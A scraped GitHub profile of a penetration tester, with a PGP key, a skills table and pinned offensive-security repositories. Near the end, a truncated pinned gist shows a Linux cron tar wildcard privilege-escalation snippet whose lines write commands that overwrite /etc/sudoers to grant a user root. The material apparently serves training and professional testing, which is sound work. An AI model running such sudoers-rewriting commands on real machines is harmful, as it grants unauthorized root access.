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Achievement: Pair ExtraordinaireAchievement: StarstruckAchievement: Pull SharkAchievement: Arctic Code Vault Contributor

Achievements

Achievement: Pair ExtraordinaireAchievement: StarstruckAchievement: Pull SharkAchievement: Arctic Code Vault Contributor

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CaptBoykin/README.md

Tyler Boykin (@CaptBoykin)

Principal Penetration Tester from Austin, TX.

PGP Key 
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: FlowCrypt Email Encryption 8.5.14
Comment: Seamlessly send and receive encrypted email

xjMEalNxYRYJKwYBBAHaRw8BAQdArMHuxUdbFa+S17q+nX38WmQawrRYHHFr
ueZcJqjNvbHNKVR5bGVyIEJveWtpbiA8Y2FwdC5ib3lraW4uMDYwMkBnbWFp
bC5jb20+wsATBBMWCgCFBYJqU3FhAwsJBwkQBHE6DzMhlbxFFAAAAAAAHAAg
c2FsdEBub3RhdGlvbnMub3BlbnBncGpzLm9yZ/EJga2wTbhtj8TLg98yES/t
EBtCTR4Sx0AQywb8pxUaBRUKCA4MBBYAAgECGQECmwMCHgEWIQQXYj5aaQQ8
c3aUSR8EcToPMyGVvAAAmRoA/RmTWSx1yZPuwb2PVKC2l5aj0DlDn2ZEyPk4
Hl2sLs9+AP0RalV9TzZ/A/EeRCdNyKeb05TlNkekX5IXwOkyyvpBDM44BGpT
cWESCisGAQQBl1UBBQEBB0DK7mYlnVfy0QPgzxg1/jf7ymt4kVaeR3f2VWb3
Lrk8AgMBCAfCvgQYFgoAcAWCalNxYQkQBHE6DzMhlbxFFAAAAAAAHAAgc2Fs
dEBub3RhdGlvbnMub3BlbnBncGpzLm9yZ83/uIDpb+t8JMqJiBYA106o8Q3I
QmZj8V3/OLZwetgiApsMFiEEF2I+WmkEPHN2lEkfBHE6DzMhlbwAACKWAQCz
xdA+zhY/WhE+9bO5ypR3fU60i0yUvTws2CwuNKqX7AD/XPiMRvoXUcpCYd+k
1fLhdtnDyPNiq9jNBBRZj0Rs/Qk=
=nhLr
-----END PGP PUBLIC KEY BLOCK-----
Proficiencies Overview

Overview

Skill Beginner Intermediate Advanced Expert
Offsec: Web ✅
Coding & Scripting ✅
Offsec: PrivEsc ✅
Offsec: Agentic ✅
Network Engineering ✅
Sysad (Win & Nix) ✅
Offsec: Infra ✅
Offsec: BinExp ✅
Offsec: OSINT ✅
Offsec: Cloud ✅
Offsec: AD ✅
Offsec: Crypto ✅
Tool Beginner Intermediate Advanced Expert
Burpsuite ✅
Wireshark ✅
Postman ✅
Metasploit ✅
Immunity Debugger ✅
gdb ✅
proxmox ✅
vmware & vxbox ✅
jdGUI ✅
Ida ✅

Misc Languages, Servers, Backend, Version Control, etc

My Skills

Pinned Loading

  1. 50_shades_of_shellcode_encoding 50_shades_of_shellcode_encoding Public

    Shellcoding and shellcode encoding/encryption topics

  2. 50_shades_of_sudo_abuse 50_shades_of_sudo_abuse Public

    Presentation and take-home demo material examples

    3 2

  3. oscp oscp Public

    Scripts and things that I have created when I was doing OSCP.

    Shell 45 28

  4. osce osce Public

    Scripts I made trying to automate stuff or practice (time trials...) in the CTP course as well as practice concepts mentioned in the coursework.

    Python

  5. Simple hook-stops for GDB Simple hook-stops for GDB
    1 
    set disassembly-flavor intel
    2 
    unset env LINES
    3 
    unset env COLUMNS
    4 
    
              
    
              
    
                5
                
    // if x86
    
              
    
          
    
    
    
  
    

    6. 

      

  6. 
  
    
    
    
      
    
        
        Cron Tar Wildcard Injection (Linux P...  Cron Tar Wildcard Injection (Linux Privesc)      
    

          
    
              
    
                1
                
    // https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/
    
              
    
              
    
                2
                
    // This will replace sudoers. Add your user to <INSERT YOUR USER HERE>
    
              
    
              
    
                3
                
    echo 'echo "Defaults        env_reset" > /etc/sudoers' >> test.sh
    
              
    
              
    
                4
                
    echo 'echo "Defaults        mail_badpass" >> /etc/sudoers' >> test.sh
    
              
    
              
    
                5
                
    echo 'echo "Defaults        secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\" ">> /etc/sudoers' >> test.sh
    
              
    
          
    
    
    
  
    

    7.